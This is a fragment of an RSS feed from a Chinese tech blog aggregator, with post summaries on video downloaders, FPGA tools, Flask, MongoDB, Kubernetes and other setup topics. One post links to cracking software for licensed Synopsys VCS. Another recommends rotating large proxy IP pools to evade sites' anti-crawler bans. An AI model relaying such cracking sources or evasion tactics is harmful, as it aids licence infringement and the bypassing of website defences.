      <description>最近需要从一些视频网站上下载视频到本地，用到了几款工具，给大家安利下，有了这几款工具，想下载视频简直是太轻松了，这几款工具需要依赖python环境，而且是在命令行下输入命令下载。&#xA;这几款工具我最近一直在用，针对它们各自适合的网站给大家做下说明。&#xA;1 youtube-dl 顾名思义，看名字就知道这款工具针对youtube视频下载那效果是杠杠地。&#xA;安装 pip install youtube-dl 使用 youtube-dl https://www.youtube.com/watch?v=p6PqW8QnE9c 更详细的用法可参考：https://github.com/ytdl-org/youtube-dl&#xA;2 you-get 这款工具可适合国内绝大部分网站，包括爱奇艺、bilibili等，但是在用它下载腾讯视频的视频时会中断卡死，所以腾讯视频最好用之后的那个工具。&#xA;安装 pip install you-get 使用 you-get http://www.bilibili.com/video/av585499617 更详细的用法可参考：https://github.com/soimort/you-get&#xA;3 annie 这款工具我刚才说了，特别适合用于腾讯视频的下载，如果你发现有用you-get搞不定的网站时，就可以用这个来试试，说不定就有惊喜呢。不过这款工具针对不同系统的电脑安装方式不同。&#xA;macOS安装 brew install annie Linux安装 xbps-install -S annie Windows安装 scoop install annie 或者&#xA;choco install annie 使用 annie https://v.qq.com/x/cover/z8njmlc1opwgxoa/z0020jq459e.html 更详细的用法可参考：https://github.com/iawia002/annie&#xA;要是对大家有用的话，点个赞鼓励一下呗！</description>
    </item>
    <item>
      <title>Vivado行为仿真基本流程（入门级）----- 以与非门逻辑功能为例</title>
      <link>https://bchobby.github.io/posts/ffe2e225fe01b73aaf5768a4a9cf8e59/</link>
      <pubDate>Wed, 24 Mar 2021 10:23:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ffe2e225fe01b73aaf5768a4a9cf8e59/</guid>
      <description>目录 Vivado简介建立工程 Vivado简介 Vivado设计套件是FPGA厂商Xilinx开发的一套集成设计环境，该设计套件功能强大，目前最新的为Vivado Design Suite - HLx 2020.2版本。1&#xA;Vivado集成了仿真工具，不像Quartus不自带仿真工具，需要借助第三方仿真工具如Modelsim来查看仿真结果。本设计流程采用的版本为Vivado 2017.4。安装包放在百度网盘内，有需要下载的小伙伴请自取：链接：https://pan.baidu.com/s/1HVIqs1FEz_ugPy9Kwt1Z1Q 提取码：JK82 。&#xA;建立工程 首先打开系统菜单栏，点开文件夹Xilinx design tool，双击图标Vivado 2017.4，打开Vivado。&#xA;出现Vivado初始界面，然后点击Quick Start里面的Create Project。&#xA;出现工程建立向导对话框，点击next：&#xA;这个时候你要给整个工程起一个名字，指定该工程所保持的路径。为了整个工程能顺利地编译通过，工程名字最好起英文名字，不要出现中文字符，保存路径也尽量为英文。这个我们将整个工程命名为nand_project。默认勾选create project subdirectory，此时会在保存路径中创建一个以工程名为文件名的子文件夹，用来存放编译工程时所产生的文件，点击next。&#xA;默认勾选第一项，创建一个RTL Project。点击next。&#xA;进入到add source界面，这里我们点击create file，创建一个Verilog文件。&#xA;将Verilog文件命名为nand_gate，点击OK后，可以看到该Verilog文件就被添加到工程里面了。&#xA;点击next，为工程添加约束，这里我们不需要添加任何约束。&#xA;点击next，选择FPGA型号，这里可以根据实际需要选择具体的FPGA型号，这里我们选择xa7atcpg236-2I，点击next。&#xA;这里可以看到整个工程的总结信息，点击finish，完成工程的创建，进入到主界面。&#xA;弹出定义模块对话框，为该模块定义输入输出端口，这里我们点击cancel，直接在Verilog文件中定义输入输出端口。&#xA;点击yes，进入到工程主界面。&#xA;可以看到除了菜单栏外，整个界面分为四个子窗口。&#xA;双击source窗口内，design source下的nand_gate.v文件，进入到Verilog文件编辑界面。&#xA;与非逻辑的Verilog代码如下：&#xA;module nand_gate(data_1, data_2, data_out); //端口列表 input data_1, data_2; //输入 output reg data_out; //输出 //描述一个组合逻辑电路 always @ (*) begin data_out =~ (data_1 &amp;amp;&amp;amp; data_2); //与非逻辑 end endmodule 这里的模块名和Verilog名一致，博主本科用的是quartus，quartus要求工程名，Verilog文件名及模块名必须一致才能编译通过，但是vivado好像不需要满足这一要求，博主试着将模块命名为其他名称，也可以编译通过，仿真结果正确。&#xA;编辑好Verilog代码后，点击保存按钮。&#xA;接下来我们为工程添加testbench，用来验证结果的正确性。</description>
    </item>
    <item>
      <title>ArcGIS——计算几何——面积/周长禁用</title>
      <link>https://bchobby.github.io/posts/78ea556c816eccbba6e3988dda08e08a/</link>
      <pubDate>Wed, 24 Mar 2021 09:24:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/78ea556c816eccbba6e3988dda08e08a/</guid>
      <description>问题描述：&#xA;在属性表中对字段进行计算几何操作，却发现“面积/周长-已禁用”的问题。如下图：&#xA;解决思路：&#xA;因为缺少投影，定义一个投影就可以了。&#xA;①可利用工具“定义投影”，给数据加上投影坐标系：&#xA;②直接给数据框定义投影坐标系&#xA;打开数据框的属性，然后选择一个合适的投影坐标系&#xA;这个问题，有的文章是说经纬度坐标反了，将经纬度反过来就行。此方法与我碰到的问题不是一种类型，因此在这就不做过多描述。第一种方法不可行的可尝试这种把经纬度反过来的方法。</description>
    </item>
    <item>
      <title>php-common rpm 下载,RPM软件包管理器及使用</title>
      <link>https://bchobby.github.io/posts/747e857c14f4e14f0564afd4e21d1888/</link>
      <pubDate>Wed, 24 Mar 2021 04:03:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/747e857c14f4e14f0564afd4e21d1888/</guid>
      <description>一. RPM介绍及其组成：&#xA;1.)RPM包简介：&#xA;rpm分为源码包，二进制包，Delta包三种。源码包将由rpm自动编译，安装。&#xA;2.)Linux中的包管理器：&#xA;dpkg: debian发行版本的包管理器。&#xA;rpm：redhat发行版的包管理器。&#xA;3.)程序包组成部分：&#xA;二进制程序:&#xA;/bin /sbin, /usr/bin /usr/sbin, /usr/local/bin&#xA;有些特殊程序放在/libexec目录中。&#xA;有些默认安装在/opt目录下。&#xA;库文件(开发库，运行库)：&#xA;/lib64, /usr/lib64&#xA;配置文件：&#xA;/etc&#xA;帮助文件：&#xA;/usr/share/man&#xA;帮助文件：手册man,信息页info。&#xA;4.)RPM程序包管理器：&#xA;数据库：&#xA;程序名及版本号。&#xA;软件包依赖关系。&#xA;软件包功能说明。&#xA;安装生成的各文件路径校验码。&#xA;程序组成清单：&#xA;文件清单。&#xA;安装卸载时运行的脚本。&#xA;二.RPM使用操作：&#xA;1.)RPM安装软件包命令。*安装过程中会多次显示waring key等信息，在后面会说密钥校验来解决。这里暂时忽略。&#xA;-i: 安装程序包。&#xA;# rpm -i zsh-4.3.10-7.el6.x86_64.rpm&#xA;warning: zsh-4.3.10-7.el6.x86_64.rpm: Header V3 RSA/SHA1 Signature, key ID c105b9de: NOKEY&#xA;-v: 安装时显示详细信息。&#xA;# rpm -iv zsh-4.3.10-7.el6.x86_64.rpm&#xA;Preparing packages for installation...&#xA;zsh-4.3.10-7.el6&#xA;-vv: 比v更加详细的信息。&#xA;# rpm -ivv zsh-4.</description>
    </item>
    <item>
      <title>如何应对爬虫请求频繁</title>
      <link>https://bchobby.github.io/posts/c803906ccdb54e717dc730596550360a/</link>
      <pubDate>Tue, 23 Mar 2021 17:27:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c803906ccdb54e717dc730596550360a/</guid>
      <description>相信很多爬虫工作者在进行数据爬取过程中经常会遇到“您的请求太过频繁，请稍后再试”，这个时候心里莫名的慌和烦躁、明明爬虫代码也没有问题啊，怎么突然爬不动了呢？那么，很有可能，你的爬虫被识破了，这只是友好的提醒，如果不降低请求就会拉黑你的ip了。&#xA;我们都知道遇到这种情况使用代理就解决了，用代理IP确实不失为一个解决问题的好办法。IP被封了就换新IP继续爬，或者用很多IP同时多线程爬，都很给力的。但是有时候没有爬多久又被提示“您的请求太过频繁，请稍后再试”。再换IP还是被封，再换再封，封的越来越快，效率非常低下，这是为什么呢？&#xA;那是因为，你用的代理IP凑巧也是别人用来访问相同的网站的，而且用的还比较频繁。可能你们使用了共享ip池，或者使用的代理ip池很小。所以我们在找代理IP的时候，在保证IP有效率的同时IP池越大越好的，这样可以保证IP的新鲜度。例如亿牛云…列如还有的在使用代理的过程中也出现这样的情况。HTTP\HTTPS代理，系统会返回429 Too Many Requests；但不会对爬虫的运行产生影响，爬虫会根据返回结果自动重新发起请求，这是HTTP\HTTPS的标准应答模式。&#xA;所以，当您遇到“您的请求太过频繁，请稍后再试”时，不要慌，要镇定，检查下自己的爬虫策略，是否真的访问太过频繁，检查下自己的代理IP是否真的比较干净，调整自己的策略，选择更加纯净的IP，就能有效的避免这个错误了</description>
    </item>
    <item>
      <title>支持UEFI的原装win10安装U盘制作教程</title>
      <link>https://bchobby.github.io/posts/1f701040f9bb3bc53bf9a4720641fc4f/</link>
      <pubDate>Tue, 23 Mar 2021 17:07:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1f701040f9bb3bc53bf9a4720641fc4f/</guid>
      <description>现在电脑主板都是uefi的了。要重装系统就得使用原装win10安装盘且支持uefi，下面我就来介绍一下如何制作。&#xA;1，去msdn上下载原版win10镜像。下载&#xA;最好使用迅雷下载。&#xA;2，下载rufus。下载&#xA;3，准备好一个U盘或移动硬盘（建议使用usb3.0U盘或移动硬盘，这样写入和安装系统时会更快）&#xA;4,插上U盘或移动硬盘，打开刚刚下载的rufus&#xA;如果是移动硬盘，记得展开“显示高级选项”并勾选“显示usb外接硬盘”&#xA;5，选择硬盘，选择刚刚下载好的镜像文件(引导类型选择栏的选择按钮），镜像选项为标准Windows安装，分区类型GPT，目标系统类型UEFI(非CSM)，选择完后如下图：&#xA;6，点下面开始按钮，等待其写入完成即可！</description>
    </item>
    <item>
      <title>查找子串</title>
      <link>https://bchobby.github.io/posts/f122fd0a09f79bdadd86cb52a7c0e3eb/</link>
      <pubDate>Tue, 23 Mar 2021 16:59:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f122fd0a09f79bdadd86cb52a7c0e3eb/</guid>
      <description>本题要求实现一个字符串查找的简单函数。&#xA;函数接口定义：&#xA;char *search( char *s, char *t ); 函数search在字符串s中查找子串t，返回子串t在s中的首地址。若未找到，则返回NULL。&#xA;裁判测试程序样例：&#xA;#include &amp;lt;stdio.h&amp;gt; #define MAXS 30 char *search(char *s, char *t); void ReadString( char s[] ); /* 裁判提供，细节不表 */ int main() { char s[MAXS], t[MAXS], *pos; ReadString(s); ReadString(t); pos = search(s, t); if ( pos != NULL ) printf(&#34;%d\n&#34;, pos - s); else printf(&#34;-1\n&#34;); return 0; } /* 你的代码将被嵌在这里 */ 输入样例1：&#xA;The C Programming Language ram 输出样例1：&#xA;10 输入样例2：</description>
    </item>
    <item>
      <title>Quartus II各版本支持的器件</title>
      <link>https://bchobby.github.io/posts/a90f05f0c773b6710dd2b81fffa03a12/</link>
      <pubDate>Tue, 23 Mar 2021 10:34:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a90f05f0c773b6710dd2b81fffa03a12/</guid>
      <description>之前用的时Quartus9.0版本，因为使用的器件时Stratix II，所以以为只能用老版本的工具。但是从Quartus从13.0开始将器件库独立出来，可让用户选择性的安装。 如下图，Quartus13.0是支持Stratix II的，所以果断卸载老版本。&#xA;器件库下载的话，下载Cyclone系列和Stratix系列即可满足我的需要。&#xA;器件库是与软件协同的，选择相应的软件版本，然后下载对应的器件库。&#xA;器件库的下载地址：https://fpgasoftware.intel.com/18.0/?edition=pro&amp;amp;platform=windows&#xA;也可以通过下面的方式安装，不过前提也是要下载好器件库。&#xA;下载下来之后不能用，显示找不到qdz文件。&#xA;参考下面这篇博客&#xA;https://blog.csdn.net/z123459985/article/details/105349357</description>
    </item>
    <item>
      <title>Flask Mega-Tutorial V2.0 第23章：应用程序编程接口（API）</title>
      <link>https://bchobby.github.io/posts/d836210b9e1f6031248bcf9657812e4e/</link>
      <pubDate>Tue, 23 Mar 2021 08:09:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d836210b9e1f6031248bcf9657812e4e/</guid>
      <description>最近在Flask Web Development作者博客看到第二版Flask Mega-Tutorial已在2017年底更新，现翻译给大家参考，希望帮助大家学习flask。&#xA;这是Flask Mega-Tutorial系列的第二十三章，也是最后一章。其中我将告诉您如何使用应用编程接口（或API）扩展Microblog，客户可以使用它来处理应用，以一种比传统的web浏览器工作流更直接的方式。&#xA;供您参考，以下是本系列文章的列表。&#xA;第1章：Hello, World！第2章：模板 第3章：Web表单第4章：数据库第5章：用户登录第6章：配置文件页面和头像第7章：错误处理第8章：关注与被关注第9章：分页第10章：电子邮件支持第11章：整容第12章：日期和时间第13章：I18n和L10n第14章：Ajax第15章：大型应用程序结构第16章：全文搜索第17章：在Linux上部署第18章：在Heroku上部署第19章：Docker容器上的部署第20章：一些JavaScript Magic第21章：用户通知第22章：后台工作第23章：应用程序编程接口（API）（本文） 注意1：如果您正在寻找本教程的旧版本，请在此处。&#xA;注意2：如果您想在此博客上支持我的工作，或者只是没有耐心等待每周的文章，我将提供完整的本教程版本，打包成电子书或视频集。欲了解更多信息，请访问courses.miguelgrinberg.com。&#xA;我为此应用构建的所有功能都只适用于特定类型的客户端：Web浏览器。 但其他类型的客户端呢？ 例如，如果我想构建Android或iOS APP，有两种主流方法可以解决这个问题。 最简单的解决方案是构建一个简单的APP，仅使用一个Web视图组件并用Microblog网站填充整个屏幕，但相比在设备的Web浏览器中打开网站，这种方案几乎没有什么卖点。 一个更好的解决方案（尽管更费力）将是构建一个本地APP，但这个APP如何与仅返回HTML页面的服务器交互呢？&#xA;这就是应用编程接口（API）的能力范畴了。 API是一组HTTP路由，被设计为应用程序中的低级入口点。与定义返回HTML以供Web浏览器使用的路由和视图函数不同，API允许客户端直接使用应用的资源，从而决定如何通过客户端完全地向用户渲染信息。 例如，Microblog中的API可以向用户提供用户信息和用户帖子，并且它还可以允许用户编辑现有帖子，但仅限于数据级别，不会将此逻辑与HTML混合。&#xA;如果您研究了应用中当前定义的所有路由，会注意到其中的几个符合我上面使用的API的定义。 找到它们了吗？ 我说的是返回JSON的几条路由，比如第十四章中定义的 /translate 路由。 这种路由的内容都以JSON格式编码，并在请求时使用POST方法。 此请求的响应也是JSON格式，服务器仅返回所请求的信息，客户端负责将此信息渲染给用户。&#xA;尽管应用中的JSON路由对其具有API的“感觉”，但它们旨在支持在浏览器中运行的Web应用程序。设想一下，如果智能手机APP想要使用这些路由，它将无法使用，因为它们需要用户登录，并且只能通过HTML表单进行。在本章中，我将展示如何构建不依赖于Web浏览器的API，并且不会假设连接到它们的客户端的类型。&#xA;本章的GitHub链接为：Browse, Zip, Diff.&#xA;REST API设计风格 有些人可能会强烈反对上面提到的 /translate 和其他JSON路由是API路由。 其他人可能会同意，但也会认为它们是一个设计糟糕的API。 那么一个精心设计的API有什么特点，为什么上面的JSON路由不是一个好的API路由呢？&#xA;您可能听说过REST API。 REST（Representational State Transfer）是Roy Fielding在博士论文中提出的一种架构。 该架构中，Dr. Fielding以相当抽象和通用的方式展示了REST的六个定义特征。&#xA;除了Dr.Fielding的论文外，没有关于REST的权威性规范，从而留下了许多细节供读者解读。 一个给定的API是否符合REST规范的话题往往是REST“纯粹主义者”之间激烈争论的源头，REST“纯粹主义者”认为REST API必须以非常明确的方式遵循全部六个特征，而不像REST“实用主义者”那样，仅仅将Dr. Fielding在论文中提出的想法作为指导原则或建议。Dr.Fielding站在纯粹主义阵营的一边，并在博客文章和在线评论中的撰写了一些额外的见解来表达他的愿景。&#xA;目前实施的绝大多数API都遵循“实用主义”的REST实现。 包括来自Facebook，GitHub，Twitter等“大玩家”的大部分API都是如此。很少有公共API被一致认为是纯REST，因为大多数API都没有包含纯粹主义者认为必须实现的某些细节。 尽管Dr. Fielding和其他REST纯粹主义者对评判一个API是否是REST API有严格的规定，但软件行业在实际运用中引用REST是很常见的。&#xA;为了让您了解REST论文中的内容，以下各节将介绍Dr. Fielding列举的六项原则。&#xA;客户端 - 服务器 客户端-服务器原则 相当简单，因为它简单说明了，在REST API中，客户端和服务器的角色应该明确地区分。实际上，这意味着客户端和服务器处于单独的进程中，这些进程通过传输进行通信，在大多数情况下，传输是通过TCP网络上的HTTP协议进行的。&#xA;分层系统 分层系统原则是说，当客户端需要与服务器通信时，它可能最终连接到代理服务器而不是实际的服务器。对于客户端，如果不直接连接到服务器，则发送请求的方式应该绝对没有区别，实际上，它甚至可能不知道它是否连接到目标服务器。同样，这个原则规定服务器兼容直接接收来自代理服务器的请求，所以它绝不能假设连接的另一端一定是客户端。&#xA;这是REST的一个重要特性，因为能够添加中间节点的这个特性，允许应用程序架构师使用负载均衡器、缓存、代理服务器等来设计满足大量请求的大型复杂网络。&#xA;缓存 该原则扩展了分层系统，通过明确指出允许服务器或代理服务器缓存频繁且相同请求的响应内容以提高系统性能。 有一个您可能熟悉的缓存实现：所有Web浏览器中的缓存。 Web浏览器缓存层通常用于避免一遍又一遍地请求相同的文件，例如图像。</description>
    </item>
    <item>
      <title>2021-03-22</title>
      <link>https://bchobby.github.io/posts/b4dd4070a3a06c3b2d563a1dd71f3cd4/</link>
      <pubDate>Mon, 22 Mar 2021 21:14:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b4dd4070a3a06c3b2d563a1dd71f3cd4/</guid>
      <description>1、kubenetes镜像包下载地址&#xA;https://github.com/kubernetes/kubernetes/releases/tag/v1.17.12&#xA;一定要下载amd64位的。&#xA;kubernetes.tar.gz https://dl.k8s.io/v1.17.14/kubernetes.tar.gz&#xA;kubernetes-src.tar.gz https://dl.k8s.io/v1.17.14/kubernetes-src.tar.gz&#xA;kubernetes-client-linux-amd64.tar.gz https://dl.k8s.io/v1.17.14/kubernetes-client-linux-amd64.tar.gz&#xA;kubernetes-server-linux-amd64.tar.gz https://dl.k8s.io/v1.17.14/kubernetes-server-linux-amd64.tar.gz&#xA;kubernetes-node-linux-amd64.tar.gz https://dl.k8s.io/v1.17.14/kubernetes-node-linux-amd64.tar.gz&#xA;https://dl.k8s.io 这个网站一般打不开。&#xA;2、bashboard下载地址&#xA;kubernetes\kubernetes\cluster\addons\bashboard #模板地址&#xA;https://github.com/kubernetes/dashboard/releases&#xA;3、dns-yaml的模板路径-k8s1.19&#xA;kubernetes\kubernetes\cluster\addons\dns\coredns&#xA;下载路径：&#xA;https://github.com/coredns/coredns/releases&#xA;部署包路径 https://github.com/coredns/deployment/tree/master/kubernetes&#xA;4、阿里云的镜像地址&#xA;https://developer.aliyun.com/mirror/</description>
    </item>
    <item>
      <title>Could not load dynamic library ‘libcudart.so.10.1‘； dlerror: libcudart.so.10</title>
      <link>https://bchobby.github.io/posts/76890ff3290a27ddf873a0f819e41f3a/</link>
      <pubDate>Mon, 22 Mar 2021 21:11:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/76890ff3290a27ddf873a0f819e41f3a/</guid>
      <description> CUDA 10.2 使用tensorflow 2.3 报错&#xA;解决办法：&#xA;建立软链接：&#xA;sudo ln -s /usr/local/cuda-10.2/targets/x86_64-linux/lib/libcudart.so.10.2 /usr/lib/x86_64-linux-gnu/libcudart.so.10.1 因为libcudart.so.10.2兼容libcudart.so.10.1，所以用10.2替代10.1。&#xA;测试：&#xA;import tensorflow as tf tf.test.is_gpu_available() </description>
    </item>
    <item>
      <title>ORB-SLAM2 代码（&#43;理论）解析（二）： System.cc 内容</title>
      <link>https://bchobby.github.io/posts/df4a98502b611be7e259b825188166ac/</link>
      <pubDate>Mon, 22 Mar 2021 20:30:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df4a98502b611be7e259b825188166ac/</guid>
      <description>目录&#xA;一、具体代码： 二、主要功能（总管） 三、包含的程序&#xA;3.1 mpTracker = new Tracking( )&#xA;3.2 SLAM.TrackMonocular(im,tframe)&#xA;3.3 System::Shutdown函数&#xA;3.4 SLAM.SaveKeyFrameTrajectoryTUM(&#34;KeyFrameTrajectory.txt&#34;)&#xA;一、具体代码： ORB_SLAM2::System SLAM(argv[1],argv[2], ORB_SLAM2::System::MONOCULAR, true)&#xA;/** * strVocFile 为词典文件 * strSettingsFile 为设置配置文件 * sensor sensor类型，单目、双目和RGBD * bUseViewer 是否进行相机位姿和图片帧显示 */ System::System(const string &amp;amp;strVocFile, const string &amp;amp;strSettingsFile, const eSensor sensor, const bool bUseViewer):mSensor(sensor), mpViewer(static_cast&amp;lt;Viewer*&amp;gt;(NULL)), mbReset(false),mbActivateLocalizationMode(false), mbDeactivateLocalizationMode(false) { // Output welcome message cout &amp;lt;&amp;lt; endl &amp;lt;&amp;lt; &#34;Welcome to use ORB_SLAM2 project !&#34; &amp;lt;&amp;lt; endl; // 输出当前传感器类型 cout &amp;lt;&amp;lt; &#34;</description>
    </item>
    <item>
      <title>大数据——MongoDB在大数据场景下的应用</title>
      <link>https://bchobby.github.io/posts/c168ce77355992347256fe93ad8a5903/</link>
      <pubDate>Mon, 22 Mar 2021 19:50:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c168ce77355992347256fe93ad8a5903/</guid>
      <description>MongoDB在大数据场景下的应用 MongoDB概述MongoDB数据模型与RDBMS对比MongoDB数据模型MongoDB的安装MongoDB client ShellDataBase操作Collection操作Document插入操作Document查询操作（一）Document查询操作（二）Document更新操作Document删除操作Document操作——Bulk-Write 索引副本集（复制）聚集分析管道模式聚集分析MapReduce聚集分析简单聚集函数 写关注（Write Concern）读关注（Read Concern）Java操作MongoDBMongoDB与Hadoop平台整合加载CSV文件到MongoDBMongoDB与Hive整合MongoDB与Spark整合MongoDB认证 MongoDB概述 MongoDB是一个开源的NoSQL数据库 使用C++编写的具有动态模式的面向文档的数据库动态模式支持流畅的多态性将数据存储在类似JSON的文档中（BSON）使用文档（对象） 更趋近于许多编程语言 MongoDB特点 高性能易部署易使用存储数据非常方便 MongoDB数据模型与RDBMS对比 RDBMSMongoDBDataBaseDataBaseTableCollectionIndexIndexRowDocumentColumnField MongoDB数据模型 当个集合中的文档不必具有相同的字段，集合的不同文档的字段的数据类型可能有所不同 最佳实践：一般情况下，集合中的文档具有相似的结构 模式验证 创建集合或更改集合时指定JSON模式，模式验证发生在插入和更新期间，已经存在的文档不接受验证检查，回到被修改 上限集合 固定大小的集合，集合填满分配的空间后，通过覆盖集合中最旧的文档来存放新文档 MongoDB的安装 步骤&#xA;配置yum源 vi /etc/yum.repos.d/mongodb.repo [MongoDB] name=MongoDB Repository baseurl=http://mirrors.aliyun.com/mongodb/yum/redhat/7Server/mongodb-org/4.0/x86_64/ gpgcheck=0 enabled=1 下载 yum install mongodb-org 启动 sudo systemctl start mongod.service MongoDB client Shell 启动client shell命令 // 启动client $ mongo // 查看版本 $ mongod --version shell基本操作 // 显示所有数据库 show dbs //查看当前的数据库名字 db //切换数据库 use events //显示所有集合 show collections DataBase操作 DataBase 创建 use命令后跟的数据库名，如果存在就进入此数据库，如果不存在就创建使用命令use命令创建数据库后，并没有真正生成对应的数据文件，如果此时退出，此数据库将被删除，只有在此数据库中创建集合后，才会真正生成数据文件 删除当前数据库 db.</description>
    </item>
    <item>
      <title>判断web访问是内网或是外网</title>
      <link>https://bchobby.github.io/posts/49b4658e10352681ebd73dd58e7ce6d1/</link>
      <pubDate>Mon, 22 Mar 2021 17:34:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/49b4658e10352681ebd73dd58e7ce6d1/</guid>
      <description>最近在项目中添加一个支持外网下载的功能。因为内外网不同的下载URL，所以需要判断当前网络是否为外网。&#xA;首先方案是在java代码中判断&#xA;HttpServletRequest request = ((ServletRequestAttributes)RequestContextHolder.getRequestAttributes()).getRequest(); String urlProtocol = request.getScheme(); if (urlProtocol.equals(&#34;http&#34;)) { // } else { // } 理论上看这个问题，解决的比较完美，但是实际操作下来，还是有些问题，一直是http,从来没有出现过https,应该是应用经过nginx转发，一直都是http,如果想在java中进行判断，需要再nginx中进行配置，这种还是比较麻烦的。&#xA;然后我又转换思路，在js中进行判断，然后将判断结果反馈到后端。&#xA;var isHttps = &#39;https:&#39; == document.location.protocol ? 1 : 0; 在js中很容易就实现判断内外网访问。</description>
    </item>
    <item>
      <title>准确率99.9%的离线IP地址定位库</title>
      <link>https://bchobby.github.io/posts/9ba5d8f5afd974fff9a316e927b47f39/</link>
      <pubDate>Mon, 22 Mar 2021 17:24:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9ba5d8f5afd974fff9a316e927b47f39/</guid>
      <description>Ip2region是什么？ ip2region - 准确率99.9%的离线IP地址定位库，0.0x毫秒级查询，ip2region.db数据库只有数MB，提供了java,php,c,python,nodejs,golang,c#等查询绑定和Binary,B树,内存三种查询算法。&#xA;Ip2region特性 99.9%准确率 数据聚合了一些知名ip到地名查询提供商的数据，这些是他们官方的的准确率，经测试着实比经典的纯真IP定位准确一些。&#xA;ip2region的数据聚合自以下服务商的开放API或者数据(升级程序每秒请求次数2到4次):&#xA;01, &amp;gt;80%, 淘宝IP地址库, http://ip.taobao.com/&#xA;02, ≈10%, GeoIP, https://geoip.com/&#xA;03, ≈2%, 纯真IP库, http://www.cz88.net/&#xA;**备注：**如果上述开放API或者数据都不给开放数据时ip2region将停止数据的更新服务。&#xA;标准化的数据格式 每条ip数据段都固定了格式：&#xA;_城市Id|国家|区域|省份|城市|ISP_ 只有中国的数据精确到了城市，其他国家有部分数据只能定位到国家，后前的选项全部是0，已经包含了全部你能查到的大大小小的国家（请忽略前面的城市Id，个人项目需求）。&#xA;体积小 包含了全部的IP，生成的数据库文件ip2region.db只有几MB，最小的版本只有1.5MB，随着数据的详细度增加数据库的大小也慢慢增大，目前还没超过8MB。&#xA;查询速度快 全部的查询客户端单次查询都在0.x毫秒级别，内置了三种查询算法&#xA;memory算法：整个数据库全部载入内存，单次查询都在0.1x毫秒内，C语言的客户端单次查询在0.00x毫秒级别。binary算法：基于二分查找，基于ip2region.db文件，不需要载入内存，单次查询在0.x毫秒级别。b-tree算法：基于btree算法，基于ip2region.db文件，不需要载入内存，单词查询在0.x毫秒级别，比binary算法更快。 任何客户端b-tree都比binary算法快，当然memory算法固然是最快的！&#xA;多查询客户端的支持 已经集成的客户端有：java、C#、php、c、python、nodejs、php扩展(php5和php7)、golang、rust、lua、lua_c, nginx。&#xA;ip2region快速测试 maven仓库地址 &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.lionsoul&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;ip2region&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.7.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; Java实现 public static String getCityInfo(String ip){ //db String dbPath = &#34;src/main/resources/ip2region.db&#34;; File file = new File(dbPath); if ( file.exists() == false ) { System.out.println(&#34;Error: Invalid ip2region.db file&#34;); return null; } //查询算法 int algorithm = DbSearcher.</description>
    </item>
    <item>
      <title>vcs安装记录 Ubuntu18.04.5</title>
      <link>https://bchobby.github.io/posts/d4886c8330e76024df1840718c5ac497/</link>
      <pubDate>Mon, 22 Mar 2021 16:54:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d4886c8330e76024df1840718c5ac497/</guid>
      <description>vcs安装记录 安装环境：64位Ubuntu18.04.5 LTS&#xA;安装时间：2021.3.18&#xA;安装包及破解软件：https://blog.csdn.net/huayangshiboqi/article/details/89525723，整个安装需要约10GB的磁盘空间&#xA;文章目录 vcs安装记录1. g++ gcc 4.8版本安装2.建立相关文件夹3. 安装4. 激活5. 运行6. More 1. g++ gcc 4.8版本安装 $ ll /usr/bin/gcc* #查看g++ gcc版本 $ sudo apt install gcc-4.8 gcc-4.8-multilib g++-4.8 g++-4.8-multilib #安装4.8，因为vcs要用 # 参考自：https://www.jianshu.com/p/f66eed3a3a25 2.建立相关文件夹 #这是软件要被安装的位置，所以先把终端打开到自己想要安装到的路径下 $ mkdir synopsys $ cd synopsys $ mkdir vcs_2016.06 $ mkdir scl_11.9 $ mkdir verdi_2016.06-1 3. 安装 # 终端路径切换为下载的安装包所在位置 #安装synopsys installer，这是一个安装器，用来安装它自家的软件 $ ./SynopsysInstaller_v3.3.run #要输入路径的时候直接确定就好，会在路径下生成一个setup.sh文件 #安装csh(接下来需要依赖的工具) $ sudo apt install csh #执行sh脚本 $ ./setup.sh 在打开的界面中依次安装scl、vcs、verdi（三个安装步骤一样，如下）</description>
    </item>
    <item>
      <title>SpringBoot父子maven工程执行install出现各种错误总结</title>
      <link>https://bchobby.github.io/posts/6b8cd94068a5397173d51739719d3889/</link>
      <pubDate>Mon, 22 Mar 2021 14:55:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b8cd94068a5397173d51739719d3889/</guid>
      <description> 1.maven工程执行install出现： [ERROR] &#39;dependencies.dependency.version&#39; for org.springframework.cloud:spring-cloud-starter-feign:jar is missing. 解决思路：maven官方已经将spring-cloud-starter-feign改成了spring-cloud-starter-openfeign，旧版本已经作废&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.cloud&amp;lt;/groupId&amp;gt; &amp;lt;!-- &amp;lt;artifactId&amp;gt;spring-cloud-starter-feign&amp;lt;/artifactId&amp;gt;--&amp;gt; &amp;lt;artifactId&amp;gt;spring-cloud-starter-openfeign&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 2.Failed to execute goal org.springframework.boot:spring-boot-maven-plugin:2.0.5.RELEASE:repackage (default) on project xc-framework-common: Execution default of goal org.springframework.boot:spring-boot-maven-plugin:2.0.5.RELEASE:repackage failed: Unable to find main class： 解决思路父工程pom.xml改成：&#xA;&amp;lt;plugin&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-maven-plugin&amp;lt;/artifactId&amp;gt; &amp;lt;configuration&amp;gt; &amp;lt;mainClass&amp;gt;com.whm.SpringbootTestApplication&amp;lt;/mainClass&amp;gt; 